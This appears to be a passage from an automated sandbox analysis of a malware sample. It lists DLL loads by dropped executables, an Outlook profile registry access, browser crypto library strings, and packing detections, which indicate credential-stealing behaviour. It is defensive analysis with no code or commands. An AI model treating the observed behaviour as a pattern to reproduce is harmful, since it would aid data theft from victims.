Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Section loaded: libffi-7.dll
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013443001\eb02f9ad86.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1013443001\eb02f9ad86.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1013443001\eb02f9ad86.exe	Section loaded: msimg32.dll
Source: C:\Users\user\AppData\Local\Temp\1013443001\eb02f9ad86.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1013443001\eb02f9ad86.exe	Section loaded: msvcr100.dll
Source: C:\Users\user\AppData\Local\Temp\1013443001\eb02f9ad86.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1013443001\eb02f9ad86.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1013443001\eb02f9ad86.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1013443001\eb02f9ad86.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1013443001\eb02f9ad86.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013443001\eb02f9ad86.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1013443001\eb02f9ad86.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1013443001\eb02f9ad86.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1013443001\eb02f9ad86.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1013443001\eb02f9ad86.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013443001\eb02f9ad86.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1013443001\eb02f9ad86.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1013443001\eb02f9ad86.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1013443001\eb02f9ad86.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1013443001\eb02f9ad86.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013443001\eb02f9ad86.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1013443001\eb02f9ad86.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1013444001\0eb65aaf2f.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1013444001\0eb65aaf2f.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1013444001\0eb65aaf2f.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1013444001\0eb65aaf2f.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1013444001\0eb65aaf2f.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1013444001\0eb65aaf2f.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1013444001\0eb65aaf2f.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013444001\0eb65aaf2f.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1013444001\0eb65aaf2f.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1013444001\0eb65aaf2f.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013444001\0eb65aaf2f.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1013444001\0eb65aaf2f.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1013444001\0eb65aaf2f.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1013444001\0eb65aaf2f.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1013444001\0eb65aaf2f.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1013444001\0eb65aaf2f.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1013444001\0eb65aaf2f.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1013444001\0eb65aaf2f.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1013444001\0eb65aaf2f.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013444001\0eb65aaf2f.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1013444001\0eb65aaf2f.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1013444001\0eb65aaf2f.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013444001\0eb65aaf2f.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013444001\0eb65aaf2f.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1013444001\0eb65aaf2f.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1013444001\0eb65aaf2f.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1013444001\0eb65aaf2f.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1013444001\0eb65aaf2f.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1013444001\0eb65aaf2f.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013444001\0eb65aaf2f.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1013444001\0eb65aaf2f.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1013444001\0eb65aaf2f.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1013444001\0eb65aaf2f.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1013444001\0eb65aaf2f.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1013445001\8b4f365c71.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1013445001\8b4f365c71.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1013445001\8b4f365c71.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1013445001\8b4f365c71.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1013445001\8b4f365c71.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1013445001\8b4f365c71.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1013445001\8b4f365c71.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1013445001\8b4f365c71.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1013445001\8b4f365c71.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1013445001\8b4f365c71.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1013445001\8b4f365c71.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013445001\8b4f365c71.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1013445001\8b4f365c71.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1013445001\8b4f365c71.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1013445001\8b4f365c71.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1013445001\8b4f365c71.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013445001\8b4f365c71.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1013445001\8b4f365c71.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1013445001\8b4f365c71.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1013445001\8b4f365c71.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1013446001\20bbca6d77.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\1013446001\20bbca6d77.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1013446001\20bbca6d77.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1013446001\20bbca6d77.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\1013446001\20bbca6d77.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1013446001\20bbca6d77.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013446001\20bbca6d77.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1013446001\20bbca6d77.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1013446001\20bbca6d77.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1013446001\20bbca6d77.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1013446001\20bbca6d77.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1013446001\20bbca6d77.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013446001\20bbca6d77.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013446001\20bbca6d77.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1013446001\20bbca6d77.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013446001\20bbca6d77.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1013446001\20bbca6d77.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013446001\20bbca6d77.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1013446001\20bbca6d77.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1013446001\20bbca6d77.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1013446001\20bbca6d77.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013446001\20bbca6d77.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013446001\20bbca6d77.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1013446001\20bbca6d77.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013446001\20bbca6d77.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1013446001\20bbca6d77.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013446001\20bbca6d77.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1013446001\20bbca6d77.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1013446001\20bbca6d77.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013446001\20bbca6d77.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013446001\20bbca6d77.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1013446001\20bbca6d77.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013446001\20bbca6d77.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1013446001\20bbca6d77.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013446001\20bbca6d77.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1013446001\20bbca6d77.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1013446001\20bbca6d77.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013446001\20bbca6d77.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013446001\20bbca6d77.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1013446001\20bbca6d77.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013446001\20bbca6d77.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1013446001\20bbca6d77.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013446001\20bbca6d77.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1013446001\20bbca6d77.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1013446001\20bbca6d77.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1013446001\20bbca6d77.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013446001\20bbca6d77.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013446001\20bbca6d77.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013446001\20bbca6d77.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1013446001\20bbca6d77.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013446001\20bbca6d77.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1013446001\20bbca6d77.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013446001\20bbca6d77.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1013446001\20bbca6d77.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1013446001\20bbca6d77.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013446001\20bbca6d77.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013446001\20bbca6d77.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1013446001\20bbca6d77.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013446001\20bbca6d77.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1013446001\20bbca6d77.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013446001\20bbca6d77.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1013446001\20bbca6d77.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1013446001\20bbca6d77.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013446001\20bbca6d77.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013446001\20bbca6d77.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1013446001\20bbca6d77.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013446001\20bbca6d77.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1013446001\20bbca6d77.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013446001\20bbca6d77.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1013446001\20bbca6d77.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1013446001\20bbca6d77.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013446001\20bbca6d77.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013446001\20bbca6d77.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1013446001\20bbca6d77.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013446001\20bbca6d77.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1013446001\20bbca6d77.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013446001\20bbca6d77.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1013446001\20bbca6d77.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1013446001\20bbca6d77.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013446001\20bbca6d77.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013446001\20bbca6d77.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1013446001\20bbca6d77.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013446001\20bbca6d77.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1013446001\20bbca6d77.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013446001\20bbca6d77.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1013446001\20bbca6d77.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1013446001\20bbca6d77.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013446001\20bbca6d77.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013446001\20bbca6d77.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1013446001\20bbca6d77.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013446001\20bbca6d77.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1013446001\20bbca6d77.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013446001\20bbca6d77.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1013446001\20bbca6d77.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1013446001\20bbca6d77.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013446001\20bbca6d77.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013446001\20bbca6d77.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1013446001\20bbca6d77.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013446001\20bbca6d77.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1013446001\20bbca6d77.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013446001\20bbca6d77.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1013446001\20bbca6d77.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1013446001\20bbca6d77.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013446001\20bbca6d77.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013446001\20bbca6d77.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1013446001\20bbca6d77.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013446001\20bbca6d77.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1013446001\20bbca6d77.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013446001\20bbca6d77.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1013446001\20bbca6d77.exe	Section loaded: fwpuclnt.dll

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: Google Drive.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: file.exe

Static file information: File size 1818112 > 1048576

Source: C:\Users\user\AppData\Local\Temp\1013443001\eb02f9ad86.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Source: file.exe

Static PE information: Raw size of zmdmrpym is bigger than: 0x100000 < 0x1a1800

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2657386888.000000006F8CD000.00000002.00000001.01000000.0000000A.sdmp
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr
Source:	Binary string: C:\A\35\b\bin\amd64\_socket.pdb source: ziNGMDa.exe, 00000012.00000003.2991866726.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000014.00000002.3339277721.00007FF8BFB38000.00000002.00000001.01000000.00000014.sdmp, _socket.pyd.18.dr
Source:	Binary string: C:\A\35\b\bin\amd64\_ctypes.pdb source: ziNGMDa.exe, 00000014.00000002.3339787346.00007FF8BFB70000.00000002.00000001.01000000.00000012.sdmp
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr
Source:	Binary string: C:\A\35\b\bin\amd64\_lzma.pdbMM source: ziNGMDa.exe, 00000012.00000003.2991319328.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000014.00000002.3338318197.00007FF8BFAEB000.00000002.00000001.01000000.00000017.sdmp, _lzma.pyd.18.dr
Source:	Binary string: C:\A\35\b\bin\amd64\_asyncio.pdb source: ziNGMDa.exe, 00000012.00000003.2990131940.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, _asyncio.pyd.18.dr
Source:	Binary string: C:\A\39\b\libssl-1_1.pdb?? source: libssl-1_1.dll.18.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2657386888.000000006F8CD000.00000002.00000001.01000000.0000000A.sdmp
Source:	Binary string: C:\A\35\b\bin\amd64\_queue.pdb source: ziNGMDa.exe, 00000012.00000003.2991745096.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, _queue.pyd.18.dr
Source:	Binary string: C:\A\35\b\bin\amd64\_overlapped.pdb source: ziNGMDa.exe, 00000012.00000003.2991624033.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\A\39\b\libssl-1_1.pdb source: libssl-1_1.dll.18.dr
Source:	Binary string: d:\a01\_work\4\s\\binaries\amd64ret\bin\amd64\\vcruntime140.amd64.pdb source: ziNGMDa.exe, 00000012.00000003.2989956575.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000014.00000002.3340086093.00007FF8BFB91000.00000002.00000001.01000000.00000011.sdmp, VCRUNTIME140.dll.18.dr
Source:	Binary string: C:\A\35\b\bin\amd64\unicodedata.pdb source: ziNGMDa.exe, 00000012.00000003.3003539397.000001F69CC05000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: C:\A\35\b\bin\amd64\_uuid.pdb source: ziNGMDa.exe, 00000012.00000003.2992203303.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\A\35\b\bin\amd64\_multiprocessing.pdb source: ziNGMDa.exe, 00000012.00000003.2991502232.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, _multiprocessing.pyd.18.dr
Source:	Binary string: C:\A\35\b\bin\amd64\_lzma.pdb source: ziNGMDa.exe, 00000012.00000003.2991319328.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000014.00000002.3338318197.00007FF8BFAEB000.00000002.00000001.01000000.00000017.sdmp, _lzma.pyd.18.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr
Source:	Binary string: C:\A\35\b\bin\amd64\_hashlib.pdb source: ziNGMDa.exe, 00000012.00000003.2991175469.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\A\35\b\bin\amd64\python310.pdb source: ziNGMDa.exe, 00000014.00000002.3336778016.00007FF8A8B3E000.00000002.00000001.01000000.00000010.sdmp
Source:	Binary string: C:\A\35\b\bin\amd64\select.pdb source: ziNGMDa.exe, 00000012.00000003.3003260519.000001F69CBFE000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000014.00000002.3338986366.00007FF8BFB23000.00000002.00000001.01000000.00000015.sdmp, select.pyd.18.dr
Source:	Binary string: C:\A\35\b\bin\amd64\pyexpat.pdb source: ziNGMDa.exe, 00000014.00000002.3338019911.00007FF8B9192000.00000002.00000001.01000000.00000018.sdmp
Source:	Binary string: C:\A\35\b\bin\amd64\_bz2.pdb source: ziNGMDa.exe, 00000012.00000003.2990249914.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000014.00000002.3338643947.00007FF8BFB0D000.00000002.00000001.01000000.00000016.sdmp

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 0.2.file.exe.2f0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;zmdmrpym:EW;skpffbqx:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;zmdmrpym:EW;skpffbqx:EW;.taggant:EW;
Source: C:\Users\user\Documents\FHCGCAAKJD.exe	Unpacked PE file: 14.2.FHCGCAAKJD.exe.240000.0.unpack :EW;.rsrc:W;.idata :W;rxvxvspl:EW;qzwxpcbw:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;rxvxvspl:EW;qzwxpcbw:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 15.2.skotes.exe.70000.0.unpack :EW;.rsrc:W;.idata :W;rxvxvspl:EW;qzwxpcbw:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;rxvxvspl:EW;qzwxpcbw:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 16.2.skotes.exe.70000.0.unpack :EW;.rsrc:W;.idata :W;rxvxvspl:EW;qzwxpcbw:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;rxvxvspl:EW;qzwxpcbw:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 17.2.skotes.exe.70000.0.unpack :EW;.rsrc:W;.idata :W;rxvxvspl:EW;qzwxpcbw:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;rxvxvspl:EW;qzwxpcbw:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1013443001\eb02f9ad86.exe	Unpacked PE file: 21.2.eb02f9ad86.exe.400000.0.unpack :EW;.rsrc:W;.idata :W; :EW;zdenlbin:EW;hmrfrbxb:EW;.taggant:EW; vs .text:ER;.rdata:R;.data:W;.rsrc:R;.reloc:R;
Source: C:\Users\user\AppData\Local\Temp\1013444001\0eb65aaf2f.exe	Unpacked PE file: 22.2.0eb65aaf2f.exe.140000.0.unpack :EW;.rsrc:W;.idata :W; :EW;kotpjprz:EW;epobgbuj:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;kotpjprz:EW;epobgbuj:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1013445001\8b4f365c71.exe	Unpacked PE file: 23.2.8b4f365c71.exe.300000.0.unpack :EW;.rsrc:W;.idata :W; :EW;zmdmrpym:EW;skpffbqx:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;zmdmrpym:EW;skpffbqx:EW;.taggant:EW;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: imageext.cp310-win_amd64.pyd.18.dr	Static PE information: real checksum: 0x0 should be: 0xcc9e
Source: rwobject.cp310-win_amd64.pyd.18.dr	Static PE information: real checksum: 0x0 should be: 0x6e36
